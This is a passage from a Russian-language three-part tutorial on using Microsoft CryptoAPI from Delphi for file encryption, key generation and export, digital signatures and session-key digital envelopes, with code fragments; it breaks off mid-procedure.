Непосредственно создание ключа выполняет функция CryptDeriveKey (провайдер, ID_алгоритма, хеш-объект, флаги, ключ), которая принимает хеш-объект в качестве исходных данных и строит подходящий ключ для алгоритма шифрования, заданного своим ID. Результатом будет дескриптор ключа, который можно использовать для шифрования
Следует обратить внимание, что при работе с CryptoAPI мы все время имеем дело не с самими объектами или их адресами, а с дескрипторами - целыми числами, характеризующими положение объекта во внутренних таблицах криптопровайдера. Сами таблицы располагаются в защищенной области памяти, так что программы-«шпионы» не могут получить к ним доступ.
Алгоритмы шифрования, поддерживаемые CryptoAPI, можно разделить на блочные и поточные: первые обрабатывают данные относительно большими по размеру блоками (например, 64, 128 битов или более), а вторые - побитно (теоретически, на практике же - побайтно). Если размер данных, подлежащих шифрованию, не кратен размеру блока, то последний, неполный блок данных, будет дополнен необходимым количеством случайных битов, в результате чего размер зашифрованной информации может несколько увеличиться. Разумеется, при использовании поточных шифров размер данных при шифровании остается неизменным.
Шифрование выполняется функцией CryptEncrypt (ключ, хеш, финал, флаги, данные, рамер_данных, размер_буфера):
· через параметр ключ передается дескриптор ключа шифрования;
· параметр хеш используется, если одновременно с шифрованием нужно вычислить хеш-значение шифруемого текста;
· параметр финал равен true, если шифруемый блок текста - последний или единственный (шифрование можно осуществлять частями, вызывая функцию CryptEncrypt несколько раз);
· значение флага должно быть нулевым;
· параметр данные представляет собой адрес буфера, в котором при вызове функции находится исходный текст, а по завершению работы функции - зашифрованный;
· следующий параметр, соответственно, описывает размер входных/выходных данных,
· последний параметр задает размер буфера - если в результате шифрования зашифрованный текст не уместится в буфере, возникнет ошибка.
Для расшифровки данных используется функция CryptDecrypt (ключ, хеш, финал, флаги, данные, рамер_данных), отличающаяся от шифрующей функции только тем, что размер буфера указывать не следует: поскольку размер данных при расшифровке может только уменьшиться, отведенного под них буфера наверняка будет достаточно.
Приведем лишь фрагменты программы, реализующей шифрование файла с использованием заданного пароля, опустив громоздкие проверки успешности выполнения криптографических операций (что в реальной программе делать крайне нежелательно).

{«описание» используемых переменных}
hProv: HCRYPTPROV;
hash: HCRYPTHASH;
password: string;
key: HCRYPTKEY;
plaintext, ciphertext: string;
inFile, outFile: file;
data: PByte;
l: DWORD;

{получаем контекст криптопровайдера}
CryptAcquireContext(@hProv, nil, nil, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
{создаем хеш-объект}
CryptCreateHash(hProv, CALG_SHA, 0, 0, @hash);
{хешируем пароль}
CryptHashData(hash, @password[1], length(password), 0);
{создаем ключ на основании пароля для потокового шифра RC4}
CryptDeriveKey(hProv, CALG_RC4, hash, 0, @key);
{уничтожаем хеш-объект}
CryptDestroyHash(hash);
{открываем файлы}
AssignFile(inFile, plaintext);
AssignFile(outFile, ciphertext);
reset(inFile, 1);
rewrite(outFile, 1);
{выделяем место для буфера}
GetMem(data, 512);
{шифруем данные}
while not eof(inFile) do
begin
BlockRead(inFile, data^, 512, l);
CryptEncrypt(key, 0, eof(inFile), 0, data, @l, l);
BlockWrite(outFile, data^, l);
end;
{освобождаем место и закрываем файлы}
FreeMem(data, 512);
CloseFile(inFile);
CloseFile(outFile);
{освобождаем контекст криптопровайдера}
CryptReleaseContext(hProv, 0);

Конечно, шифрование вами всех файлов одним и тем же паролем облегчает «противнику» задачу их расшифровки, запоминание огромного числа паролей сильно усложняет жизнь, а их записывание в незашифрованном виде создает опасность раскрытия всей системы. CryptoAPI может предложить на этот случай ряд решений. О них поговорим ниже.

Часть 2
В арсенале защиты должны быть не только методы, обеспечивающие секретность передачи информации (о них мы говорили в первой части статьи). Не менее важными инструментами безопасности являются процедуры, позволяющие убедиться в целости и аутентичности данных. Кроме того, необходимо решать проблемы безопасного хранения и распределения ключей.
Проблема распределения ключей
В прошлый раз при помощи CryptoAPI мы решали такую "классическую" задачу как шифрование на основе пароля. Напомним, что пароль использовался для создания ключа шифрования какого-либо симметричного алгоритма. В таком случае расшифровать файл может лишь тот, кто знает пароль. А значит, для обеспечения конфиденциальности нужно держать пароль в строжайшем секрете - желательно, чтобы его знали лишь отправитель и получатель информации. (А еще лучше, если отправитель и получатель - одно и то же лицо.)
Предположим, что отправитель и получатель при личной встрече договорились использовать для конфиденциальной переписки определенный пароль. Но если они будут шифровать все свои сообщения одним и тем же ключом, то возможный противник, перехватив корреспонденцию, будеть иметь хорошие шансы взломать шифр: при современных методах криптоанализа наличие нескольких шифртекстов, полученных путем использования одного и того же ключа, почти гарантирует успешный результат. Поэтому при использовании симметричных алгоритмов шифрования настоятельно рекомендуется не применять один и тот же ключ дважды!
Однако помнить отдельный пароль для каждого зашифрованного сообщения - задача достаточно трудоемкая. А для корреспондентов, не имеющих возможности встретиться лично для согласования ключей шифрования, конфиденциальный обмен сообщениями вообще становится недоступным. Такая практическая трудность называется проблемой распределения ключей.

Спасительный способ, позволяющий шифровать сообщения, обмениваясь ключами по открытым каналам связи, был придуман в середине 70-х годов прошлого столетия, а в начале восьмидесятых появился первый реализующий его алгоритм - RSA. Теперь пользователь может сгенерировать два связанных между собой ключа - ключевую пару. Один из этих ключей по несекретным каналам рассылается всем, с кем пользователь хотел бы обмениваться конфиденциальными сообщениями. Этот ключ называют открытым (англ. public key). Зная открытый ключ пользователя, можно зашифровать адресованное ему сообщение, но вот расшифровать его позволяет лишь вторая часть ключевой пары - закрытый ключ (private key). При этом открытый ключ не дает "практической" возможности вычислить закрытый: такая задача, хоть и разрешима в принципе, но при достаточно большом размере ключа требует многих лет машинного времени. Для сохранения конфиденциальности получателю необходимо лишь хранить в строгом секрете свой закрытый ключ, а отправителю - убедиться, что имеющийся у него открытый ключ действительно принадлежит адресату.

Так как для шифрования и расшифровки используются различные ключи, алгоритмы такого рода назвали асимметричными. Наиболее существенным их недостатком является низкая производительность - они примерно в 100 раз медленнее симметричных алгоритмов. Поэтому были созданы криптографические схемы, использующие преимущества как симметричных, так и асимметричных алгоритмов :
· для шифрования файла или сообщения используется быстрый симметричный алгоритм, причем ключ шифрования генерируется случайным образом с обеспечением "хороших" статистических свойств;
· небольшой по размерам симметричный ключ шифрования шифруется при помощи асимметричного алгоритма с использованием открытого ключа адресата и в зашифрованном виде пересылается вместе с сообщением;
· получив сообщение, адресат своим закрытым ключом расшифровывает симметричный ключ, а с его помощью - и само сообщение.
Описанная схема реализована и в CryptoAPI.

Целостность и аутентичность информации

Как удостовериться в том, что пришедшее сообщение действительно отправлено тем, чье имя стоит в графе "отправитель"? Асимметричные схемы шифрования дают нам элегантный способ аутентификации. Если отправитель зашифрует сообщение своим закрытым ключом, то успешное расшифровывание убедит получателя в том, что послать корреспонденцию мог только хозяин ключевой пары, и никто иной (рис. 6). При этом расшифровку может выполнить любой, кто имеет открытый ключ отправителя. Ведь наша цель - не конфиденциальность, а аутентификация.
Чтобы избежать шифрования всего сообщения при помощи асимметричных алгоритмов, используют хеширование: вычисляется хеш-значение исходного сообщения, и только эта короткая последовательность байтов шифруется закрытым ключом отправителя. Результат представляет собой электронную цифровую подпись. Добавление такой подписи к сообщению позволяет установить:
· аутентичность сообщения - создать подпись на основе закрытого ключа мог только его хозяин;
· целостность данных - легко вычислить хеш-значение полученного сообщения и сравнить его с тем, которое хранится в подписи: если значения совпадают, значит, сообщение не было изменено злоумышленником после того, как отправитель его подписал.
Таким образом, асимметричные алгоритмы позволяют решить две непростые задачи: обмена ключами шифрования по открытым каналам связи и подписи сообщения. Чтобы воспользоваться этими возможностями, нужно сгенерировать и сохранить две ключевые пары - для обмена ключами и для подписей. В этом нам поможет CryptoAPI.

Контейнеры ключей

Каждый криптопровайдер располагает базой данных, в которой хранятся долговременные ключи пользователей. База данных содержит один или более контейнеров ключей (рис. 7). Пользователь может создать несколько контейнеров с различными именами (именем контейнера по умолчанию является имя пользователя в системе).
Подключение к контейнеру производится одновременно с получением контекста криптопровайдера при вызове функции CryptAcquireContext - имя контейнера ключей передается функции вторым ее аргументом. Если второй аргумент содержит пустой указатель (nil), то используется имя по умолчанию, т. е. имя пользователя. В том случае, если доступ к контейнеру не нужен, можно передать в последнем аргументе функции флаг CRYPT_VERIFYCONTEXT; при необходимости создать новый контейнер используется флаг CRYPT_NEWKEYSET; а для удаления существующего контейнера вместе с хранящимися в нем ключами - CRYPT_DELETEKEYSET.
Каждый контейнер может содержать, как минимум, две ключевые пары - ключ обмена ключами и ключ подписи. Ключи, используемые для шифрования симметричными алгоритмами, не сохраняются. Как мы уже говорили, такие ключи не рекомендуется применять более одного раза, поэтому их называют сеансовыми (англ. session key).

Создание ключевых пар
После создания контейнера ключей необходимо сгенерировать ключевые пары обмена ключами и подписи. Эту работу в CryptoAPI выполняет функция CryptGenKey (провайдер, алгоритм, флаги, ключ):
· провайдер - дескриптор криптопровайдера, полученный в результате обращения к функции CryptAcquireContext;
· алгоритм - указывает, какому алгоритму шифрования будет соответствовать создаваемый ключ. Информация об алгоритме, таким образом, является частью описания ключа. Каждый криптопровайдер использует для обмена ключами и подписи строго определенные алгоритмы. Так, провайдеры типа PROV_RSA_FULL, к которым относится и Microsoft Base Cryptographic Provider, реализуют алгоритм RSA. Но при генерации ключей знать это не обязательно: достаточно указать, какой ключ мы собираемся создать - обмена ключами или подписи. Для этого используются мнемонические константы AT_KEYEXCHANGE и AT_SIGNATURE;
· флаги - при создании асимметричных ключей управляет их размером. Используемый нами криптопровайдер позволяет генерировать ключ обмена ключами длиной от 384 до 512 бит**, а ключ подписи - от 512 до 16384 бит. Чем больше длина ключа, тем выше его надежность, поэтому трудно найти причины для использования ключа обмена ключами длиной менее 512 бит, а длину ключа подписи не рекомендуется делать меньше 1024 бит**. По умолчанию криптопровайдер создает оба ключа длиной 512 бит. Необходимую длину ключа можно передать в старшем слове параметра флаги;
· ключ - в случае успешного завершения функции в этот параметр заносится дескриптор созданного ключа.

Рассмотрим пример создания ключевых пар при помощи формы, показанной на рис. 8. В поле "Контейнер" можно указать имя контейнера ключей; если оставить это поле пустым, будет использован контейнер по умолчанию. Назначение остальных элементов управления должно быть интуитивно понятным. После генерации ключа в memo-поле выводится отчет о его параметрах. Для этого используется функция CryptGetKeyParam (ключ, параметр, буфер, размер, флаги). Чтобы получить информацию о требуемом параметре, нужно через второй аргумент функции передать соответствующую константу: KP_ALGID - идентификатор алгоритма, KP_KEYLEN - размер ключа, и т. д.
procedure TGenerateForm.OKBtnClick(Sender: TObject);
var cont: PChar;
err: string;
hProv: HCRYPTPROV;
KeyExchKey, SignKey: HCRYPTKEY;
flag, keyLen: DWORD;
begin
{если ни один ключ не выбран - выход}
if not (KEKCheckBox.Checked or SKCheckBox.Checked) then exit;
{"считываем" имя контейнера}
if length(ContainerEdit.Text) = 0
then cont := nil
else
begin
err := ContainerEdit.Text;
cont := StrAlloc(length(err) + 1);
StrPCopy(cont, err);
end;
CryptAcquireContext(@hProv, cont, nil, PROV_RSA_FULL, 0);
{генерация ключа обмена ключами (Key Exchange Key)}
if KEKCheckBox.Checked then
begin
{"считываем" длину ключа и помещаем ее в
старшее слово параметра ФЛАГИ}
keyLen := strtoint(KeyExchLenEdit.text);
flag := keyLen shl 16;
if not CryptGenKey(hProv, AT_KEYEXCHANGE, flag, @KeyExchKey) then
begin
јобработка ошибокј
end
else
begin
ReportMemo.Lines.Add('');
ReportMemo.Lines.Add('Создан ключ обмена ключами:');
flag := 4;
if not CryptGetKeyParam(KeyExchKey, KP_KEYLEN, @keyLen, @flag, 0) then
begin
јобработка ошибокј
end
else ReportMemo.Lines.Add(' длина ключа - ' + inttostr(keyLen));
flag := 4;
if not CryptGetKeyParam(KeyExchKey, KP_ALGID, @keyLen, @flag, 0) then
begin
јобработка ошибокј
end
else ReportMemo.Lines.Add(' алгоритм - ' + algIDtostr(keyLen));
{функция algIDtostr здесь не приводится. Она состоит из единственного
оператора case, отображающего целый идентификатор алгоритма в строку}
end;
end;
{генерация ключа подписи (Signature Key)}
if SKCheckBox.Checked then
begin
јвыполняется аналогично генерации ключа обмена ключамиј
end;
CryptReleaseContext(hProv, 0);
end;

Обмен ключами
Теперь мы располагаем набором ключей, однако все они останутся мертвым грузом, до тех пор пока мы не получим возможности обмена с другими пользователями открытыми ключами. Для этого необходимо извлечь их из базы данных ключей и записать в файл, который можно будет передать своим корреспондентам. При экспорте данные ключа сохраняются в одном из трех возможных форматов:
· PUBLICKEYBLOB - используется для сохранения открытых ключей. Поскольку открытые ключи не являются секретными, они сохраняются в незашифрованном виде;
· PRIVATEKEYBLOB - используется для сохранения ключевой пары целиком (открытого и закрытого ключей). Эти данные являются в высшей степени секретными, поэтому сохраняются в зашифрованном виде, причем для шифрования используется сеансовый ключ (и, соответственно, симметричный алгоритм);
· SIMPLEBLOB - используется для сохранения сеансовых ключей. Для обеспечения секретности данные ключа шифруются с использованием открытого ключа получателя сообщения.
Экспорт ключей в CryptoAPI выполняется функцией CryptExportKey (экспортируемый ключ, ключ адресата, формат, флаги, буфер, размер буфера):
· экспортируемый ключ - дескриптор нужного ключа;
· ключ адресата - в случае сохранения открытого ключа должен быть равен нулю (данные не шифруются);
· формат - указывается один из возможных форматов экспорта (PUBLICKEYBLOB, PRIVATEKEYBLOB, SIMPLEBLOB);
· флаги - зарезервирован на будущее (должен быть равен нулю);
· буфер - содержит адрес буфера, в который будет записан ключевой BLOB (Binary Large OBject - большой двоичный объект);
· размер буфера - при вызове функции в этой переменной должен находиться доступный размер буфера, а по окончании работы в нее записывается количество экспортируемых данных. Если размер буфера заранее не известен, то функцию нужно вызвать с параметром буфер, равным пустому указателю, тогда размер буфера будет вычислен и занесен в переменную размер буфера.

Экспорт ключевой пары целиком, включая и закрытый ключ, может понадобиться для того, чтобы иметь возможность подписывать документы на различных компьютерах (например, дома и на работе), или для сохранения страховочной копии. В этом случае нужно создать ключ шифрования на основании пароля и передать дескриптор этого ключа в качестве второго параметра функции CryptExportKey.
Запросить у криптопровайдера дескриптор самого' экспортируемого ключа позволяет функция CryptGetUserKey (провайдер, описание ключа, дескриптор ключа). Описание ключа - это либо AT_KEYEXCHANGE, либо AT_SIGNATURE.
Экспорт асимметричных ключей во всем возможном многообразии можно осуществить при помощи формы, показанной на рис. 9.
В Листинге приведены наиболее важные фрагменты программы

procedure TExportForm.OKBtnClick(Sender: TObject);
var cont: PChar;
err: string;
hProv: HCRYPTPROV;
key, expKey: HCRYPTKEY;
pbuf: PBYTE;
buflen: DWORD;
f: file;
hash: HCRYPTHASH;
begin
{если ни один ключ не выбран - выход}
if not (KEKCheckBox.Checked or SKCheckBox.Checked) then exit;
{если нужен пароль, т.е. экспортируется ключевая пара целиком}
if PasswEdit.Enabled and (PasswEdit.Text <> Passw2Edit.Text) then
begin
MessageDlg('Ошибка при вводе пароля! Повторите ввод.', mtError, [mbOK], 0);
exit;
end;
…
"считываем" имя контейнера и подключаемся к криптопровайдеру
…
если нужен ключ шифрования - создаем его на основании пароля
…
{ключ обмена ключами}
if KEKCheckBox.Checked then
repeat
{получаем дескриптор ключа}
CryptGetUserKey(hProv, AT_KEYEXCHANGE, @key);
{пытаемся определить размер буфера для экспорта ключа}
if (WhatRadioGroup.ItemIndex = 0) then
CryptExportKey(key, 0, PUBLICKEYBLOB, 0, nil, @bufLen)
else CryptExportKey(key, expKey, PRIVATEKEYBLOB, 0, nil, @bufLen);
GetMem(pbuf, bufLen);
{экспортируем данные}
if (WhatRadioGroup.ItemIndex = 0) then
CryptExportKey(key, 0, PUBLICKEYBLOB, 0, pbuf, @bufLen)
else CryptExportKey(key, expKey, PRIVATEKEYBLOB, 0, pbuf, @bufLen);
{освобождаем дескриптор ключа обмена ключами
(сам ключ при этом не уничтожается)}
CryptDestroyKey(key);
SaveDialog1.Title := 'Укажите файл для сохранения ключа обмена ключами';
if SaveDialog1.Execute then
begin
AssignFile(f, SaveDialog1.FileName);
rewrite(f, 1);
BlockWrite(f, pbuf^, bufLen);
CloseFile(f);
MessageDlg('Ключ обмена ключами успешно сохранен', mtInformation, [mbOK], 0);
end;
until true; {KeyExchange}
{ключ подписи}
if SKCheckBox.Checked then
repeat
јаналогично ключу обмена ключамиј
until true; {Signature}
…
если создавался ключ на основании пароля - уничтожаем его,
после чего освобождаем контекст криптопровайдера
…
end;

Экспортированные таким образом открытые части ключей понадобятся нам для проверки подписи и расшифровки сеансового ключа.
Импорт ключевых пар во вновь созданный контейнер - это самостоятельная процедура. Необходимо запросить у пользователя название контейнера и пароль, подключиться к провайдеру, создать на основании пароля ключ, считать из файла импортируемые данные в буфер, после чего воспользоваться функцией CryptImportKey (провайдер, буфер, длина буфера, ключ для расшифровки, флаги, импортируемый ключ). Если нужно обеспечить возможность экспорта импортируемой ключевой пары впоследствии, то в параметре флаги необходимо передать значение CRYPT_EXPORTABLE; в противном случае вызов для данной ключевой пары функции CryptExportKey приведет к ошибке.

Мы уже обсуждали, что при работе с асимметричными алгоритмами важно убедиться, что открытый ключ действительно принадлежит тому, кого вы считаете его хозяином, и не был подменен злоумышленником. Простейшим способом обеспечить аутентичность ключа является побайтная сверка с оригиналом, хранящимся у его хозяина. Для этого можно просто позволить пользователю просмотреть экспортированные данные в шестнадцатеричном виде - например, открыть файл, в который был записан открытый ключ, и вывести его содержимое в окно просмотра.

Электронная цифровая подпись

Для создания электронной цифровой подписи необходимо вычислить хеш заданного файла и зашифровать этот "цифровой отпечаток сообщения" своим закрытым ключом - "подписать". Чтобы подпись впоследствии можно было проверить, необходимо указать, какой алгоритм хеширования использовался при ее создании. Поэтому подписанное сообщение должно иметь структуру, показанную на рис. 11.
Подписать вычисленный хеш в CryptoAPI позволяет функция CryptSignHash (хеш, описание ключа, комментарий, флаги, подпись, длина подписи). Вторым параметром может быть либо AT_KEYEXCHANGE, либо AT_SIGNATURE (в нашем случае логичнее использовать ключ подписи). Третий параметр в целях безопасности настоятельно рекомендуется оставлять пустым (nil). Флаги в настоящее время также не используются - на месте этого аргумента должен быть нуль. Готовую электронную подпись функция запишет в буфер, адрес которого содержится в предпоследнем параметре, последний же параметр будет содержать длину подписи в байтах.

См. процедуру, реализующую процесс подписания; результатом ее работы является файл,

procedure TSigningForm.SignBtnClick(Sender: TObject);
var cont: PChar;
err: string;
hProv: HCRYPTPROV;
key: HCRYPTKEY;
alg: ALG_ID;
hash: HCRYPTHASH;
infile, outfile: file;
size: DWORD;
buf: array [0..511] of byte;
signature: PBYTE;
begin
{проверка существования выбранного файла}
if not FileExists(DataNameEdit.Text) then
begin
MessageDlg('Неверное имя файла!', mtError, [mbOK], 0);
exit;
end;
AssignFile(infile, DataNameEdit.Text);
…
"считываем" имя контейнера и подключаемся к нему
…
case HashRadioGroup.ItemIndex of
0: alg := CALG_MD5;
1: alg := CALG_SHA;
end;
CryptCreateHash(hProv, alg, 0, 0, @hash);
SaveDialog1.Title := 'Задайте имя файла для хранения подписанных данных';
if SaveDialog1.Execute then
begin
AssignFile(outfile, SaveDialog1.FileName);
rewrite(outfile, 1);
{записываем в файл идентификатор алгоритма хеширования}
BlockWrite(outfile, alg, 4);
reset(infile, 1);
size := FileSize(infile);
{записываем размер подписываемых данных}
BlockWrite(outfile, size, 4);
{пишем сами данные и вычисляем хеш:}
while not eof(infile) do
begin
BlockRead(infile, buf, 512, size);
BlockWrite(outFile, buf, size);
CryptHashData(hash, @buf, size, 0);
end;
CloseFile(infile);
{выясняем размер подписи}
CryptSignHash(hash, AT_SIGNATURE, nil, 0, nil, @size);
{создаем подпись}
GetMem(signature, size);
CryptSignHash(hash, AT_SIGNATURE, nil, 0, signature, @size);
BlockWrite(outfile, size, 4);
BlockWrite(outfile, signature^, size);
CloseFile(outfile);
end;
…
уничтожаем хеш-объект и освобождаем контекст
…
end;

Чтобы проверить правильность подписи, получатель подписанного сообщения должен иметь файл с открытым ключом подписи отправителя. В процессе проверки подписи этот ключ импортируется внутрь криптопровайдера. Проверка выполняется функцией CryptVerifySignature (хеш, подпись, длина подписи, открытый ключ, комментарий, флаги). О последних двух аргументах можно сказать то же, что и о параметрах комментарий и флаги функции CryptSignHash, назначение же остальных должно быть понятно. Если подпись верна, функция возвращает true. Значение false в качестве результата может свидетельствовать либо о возникновении ошибки в процессе проверки, либо о том, что подпись оказалась неверной. В последнем случае функция GetLastError вернет ошибку NTE_BAD_SIGNATURE. Для примера приведем наиболее значимые фрагменты программы проверки подписи:
procedure TMainForm.VerifyItemClick(Sender: TObject);
var err: string;
hProv: HCRYPTPROV;
key: HCRYPTKEY;
alg: ALG_ID;
hash: HCRYPTHASH;
infile: file;
size, test, textsize: DWORD;
buf: PBYTE;
signature, signkey: PBYTE;
begin
…
получаем контекст криптопровайдера
…
OpenDialog1.Title := 'Укажите файл с подписанными данными';
if OpenDialog1.Execute then
begin
AssignFile(infile, OpenDialog1.FileName);
reset(infile, 1);
{считываем идентификатор алгоритма хеширования}
BlockRead(infile, alg, 4);
{считываем размер подписанных данных и сами данные}
BlockRead(infile, textsize, 4);
GetMem(buf, textsize);
BlockRead(infile, buf^, textsize, test);
if test < textsize then
begin
MessageDlg('Неверный формат файла! Процесс прерван.', mtError, [mbOK], 0);
exit;
end;
{считываем размер подписи и саму подпись}
BlockRead(infile, test, 4);
GetMem(signature, test);
BlockRead(infile, signature^, test);
CloseFile(infile);
end
else exit;
…
создаем хеш-объект и хешируем данные
…
OpenDialog1.Title := 'Укажите файл с открытым ключом подписи';
if OpenDialog1.Execute then
begin
AssignFile(infile, OpenDialog1.FileName);
reset(infile, 1);
size := FileSize(infile);
GetMem(signkey, size);
BlockRead(infile, signkey^, size);
CloseFile(infile);
end
else exit;
{импортируем открытый ключ подписи отправителя}
CryptImportKey(hProv, signkey, size, 0, 0, @key);
FreeMem(signkey, size);
{проверяем подпись}
if CryptVerifySignature(hash, signature, test, key, nil, 0) then
begin
MessageDlg('Подпись верна.', mtInformation, [mbOK], 0);
{сохраняем подписанные данные}
SaveDialog1.Title := 'Укажите имя файла для сохранения данных';
if SaveDialog1.Execute then
begin
AssignFile(infile, SaveDialog1.FileName);
rewrite(infile, 1);
BlockWrite(infile, buf^, textsize);
CloseFile(infile);
end;
end
else
begin
case int64(GetLastError) of
NTE_BAD_SIGNATURE: err := 'Подпись неверна!';
{обработка других ошибок}
else err := 'Ошибка при проверке подписи: Unknown error';
end;
MessageDlg(err, mtError, [mbOK], 0);
end;
…
уничтожаем хеш-объект и импортированный ключ
и освобождаем контекст криптопровайдера
…
end;

Часть 3
Для конфиденциального обмена информацией с корреспондентом в любой точке земного шара приходится использовать целый арсенал современных криптографических инструментов: симметричные и асимметричные алгоритмы шифрования, механизмы генерирования криптографических ключей и случайных последовательностей, специфические режимы работы шифров и пр. Продолжая тему, начатую в первой и второй частях статьи, рассмотрим реализацию этих инструментов в CryptoAPI и воспользуемся ими для шифрования файла случайным ключом.
Цифровые конверты

Асимметричные алгоритмы позволяют легко обменяться ключами шифрования по открытому каналу связи - но работают слишком медленно. Симметричные алгоритмы работают быстро - но для обмена ключами требуют наличия защищенного канала связи и, к тому же, нуждаются в частой смене ключей. Поэтому в современных криптосистемах используются сильные стороны обоих подходов. Так, для шифрования сообщения используется симметричный алгоритм со случайным ключом шифрования, действующим только в пределах одного сеанса,- сеансовым ключом. Чтобы впоследствии сообщение могло быть расшифровано, сеансовый ключ подвергается шифрованию асимметричным алгоритмом с использованием открытого ключа получателя сообщения. Зашифрованный таким образом сеансовый ключ сохраняется вместе с сообщением, образуя цифровой конверт. При необходимости цифровой конверт может содержать сеансовый ключ в нескольких экземплярах - зашифрованный открытыми ключами различных получателей

Создание сеансовых ключей
CryptoAPI позволяет генерировать сеансовые ключи случайным образом - эту работу выполняет функция CryptGenKey, о которой шла речь ранее. Однако при использовании этой возможности за пределами США и Канады приходится учитывать американские ограничения на экспорт средств "сильной криптографии". В частности, до января 2000 года был запрещен экспорт программного обеспечения для шифрования с использованием ключей длиной более 40 бит. Этим объясняется разработка Microsoft двух версий своего криптопровайдера - базовой и расширенной. Базовая версия предназначалась на экспорт и поддерживала симметричные ключи длиной 40 бит; расширенная же версия (Microsoft Enhanced Cryptographic Provider) работала с "полной" длиной ключа (128 бит). Поскольку алгоритм шифрования, как правило, требует использования ключа строго определенной длины, недостающее количество битв в урезанном "экспортном" ключе могло быть заполнено либо нулями, либо случайными данными, которые предлагалось передавать открыто.
В криптографической практике внесение в состав ключа определенной части несекретных данных, которые сменяются несколько раз в ходе обработки исходного или шифр-текста, используется для того, чтобы воспрепятствовать взлому шифра атакой "по словарю". В английской терминологии такие вставки называются salt values: их назначение - "подсолить" ключ (с учетом нашей ментальности можно перевести как "насолить" противнику). Поскольку этот термин используется и в CryptoAPI, будем употреблять его в транслитерированном виде - солт-значения.
Итак, CryptoAPI, в экспортном исполнении практически вынуждает нас использовать солт-значения, составляющие бОльшую часть ключа - 88 бит из 128-ми для симметричных алгоритмов в RC2; и RC4. Конечно, при такой эффективной длине ключа криптозащита не может считаться достаточно надежной. В реальной ситуации выход один - воспользоваться криптопровайдером, не ограничивающим длину ключа. Обладатели Windows XP могут прибегнуть к услугам расширенных версий провайдера Microsoft (Enhanced или Strong). Пользователям более старых версий Windows, по-видимому, придется воспользоваться продуктами сторонних разработчиков. Например, свои версии криптопровайдеров предлагают российская компания "Крипто-Про" и шведская "StreamSec". В Украине, насколько известно авторам, разработкой национального провайдера криптографических услуг занимается коллектив харьковских ученых под руководством профессора Горбенко, однако до широкого внедрения дело пока не дошло. Тем не менее, благодаря архитектуре CryptoAPI, прикладные программы могут разрабатываться и отлаживаться и с базовым провайдером Microsoft - так как интерфейс взаимодействия остается неизменным. Поэтому вернемся к обсуждению создания случайных сеансовых ключей.
Солт может быть сгенерирован вместе с ключом: для этого нужно в качестве флага передать функции CryptGenKey (или CryptDeriveKey) константу CRYPT_CREATE_SALT. Правда, при сохранении ключа (с помощью функции CryptExportKey) система уже не заботится о солт-значении, перекладывая ответственность на прикладную программу. Таким образом, корректная процедура создания и сохранения симметричного ключа предполагает:
1. при создании ключа функции CryptGenKey передается значение флага CRYPT_EXPORTABLE or CRYPT_CREATE_SALT;
2. с помощью функции CryptGetKeyParam с параметром KP_SALT сгенерированное солт-значение сохраняется в буфере;
3. ключ в зашифрованном виде сохраняется в буфере при помощи функции CryptExportKey, которой передается открытый ключ обмена ключами адресата;
4. зашифрованные ключевые данные сохраняются или передаются адресату вместе с экспортированным на втором шаге солт-значением.
С другой стороны, солт-значение может быть сгенерировано и отдельно от ключа. Для этого используется функция CryptGenRandom (провайдер, длина, буфер). Здесь параметр длина задает размер генерируемой случайной последовательности в байтах, а последний аргумент задает адрес буфера, в который будет записан результат. Полученное таким образом солт-значение может быть внесено в ключ с помощью функции CryptSetKeyParam (ключ, параметр, данные, флаги). Ей вторым аргументом нужно передать KP_SALT, а третьим - адрес буфера, содержащего сгенерированную последовательность. (Последний аргумент функции зарезервирован на будущее и должен быть равен нулю.)

Блочные шифры
Блочные шифры считаются более надежными, нежели поточные, поскольку каждый блок текста подвергается сложным преобразованиям. Тем не менее, одних только этих преобразований оказывается недостаточно для обеспечения должного уровня безопасности - важно, каким образом они применяются к исходному тексту в процессе шифрования.

Наиболее простой и интуитивно понятный способ состоит в том, чтобы разбить исходный текст на блоки соответствующего размера, а затем отдельно каждый блок подвергнуть шифрующему преобразованию. Такой режим использования блочных шифров называют электронной кодовой книгой (ECB - electronic codebook). Его главный недостаток состоит в том, что одинаковые блоки исходного текста при шифровании дадут одинаковые же блоки шифр-текста - а это может существенно облегчить противнику задачу взлома. Поэтому режим ECB не рекомендуется использовать при шифровании текстов, по длине превышающих один блок - в таких случаях лучше воспользоваться одним из режимов, связывающих различные блоки между собой. По умолчанию в CryptoAPI блочные шифры используются в режиме сцепления блоков шифр-текста (CBC - cipher block chaining). В этом режиме при шифровании очередной блок исходного текста вначале комбинируется с предыдущим блоком шифр-текста (при помощи побитового исключающего ИЛИ), а затем полученная последовательность битов поступает на вход блочного шифра (рис. 14). Образующийся на выходе блок шифр-текста используется для шифрования следующего блока. Самый первый блок исходного текста также должен быть скомбинирован с некоторой последовательностью битов, но "предыдущего блока шифр-текста" еще нет; поэтому режимы шифрования с обратной связью требуют использования еще одного параметра - он называется инициализирующим вектором (IV - initialization vector).
Инициализирующий вектор должен генерироваться отдельно с помощью уже известной нам функции CryptGenRandom и, как и солт-значение, передаваться вместе с ключом в открытом виде. Размер IV равен длине блока шифра. Например, для алгоритма RC2, поддерживаемого базовым криптопровайдером Microsoft, размер блока составляет 64 бита (8 байтов).

От слов - к делу

Настало время применить все сказанное на практике, создав приложение, предназначенное для шифрования и расшифровки файлов с использованием случайных сеансовых ключей. Окно приложения показано на рис. 15. Для успешной работы программы нужно создать на компьютере собственный ключевой контейнер, экспортировать из него открытый ключ обмена ключами и обменяться открытыми ключами с адресатом. Все эти операции подробно обсуждались ранее. В простейшем случае "отправитель" сообщения может являться и "получателем" - тогда нужно просто экспортировать свой открытый ключ обмена ключами и сохранить его в каком-нибудь файле на диске.

Шифруемый файл помещается в цифровой конверт. Как мы знаем, вместе с ключом необходимо сохранить солт-значение, а при использовании блочного шифра - еще и инициализирующий вектор. В соответствии с этим наш цифровой конверт будет иметь структуру, показанную на рис. 16.
Приведем основные фрагменты процедуры, осуществляющей шифрование и расшифровку файла (обработка ошибок опущена):

procedure TMainForm.BitBtn1Click (Sender: TObject);
var
hProv: HCRYPTPROV;
KeyExchKey, SessionKey: HCRYPTKEY;
flag, keyLen: DWORD;
infile, outfile: file;
tmp: PBYTE;
buf: array [0..511] of byte;
alg: ALG_ID;
stream: boolean;
begin
…
подключение к криптопровайдеру
…
if ActionRadioGroup.ItemIndex = 0 {шифрование}
then
begin
OpenDlg.Title:= 'Укажите файл для шифрования';
if OpenDlg.Execute then AssignFile (infile, OpenDlg.FileName)
else exit;
OpenDlg.Title:= 'Укажите файл с открытым ключом обмена ключами получателя';
if OpenDlg.Execute then
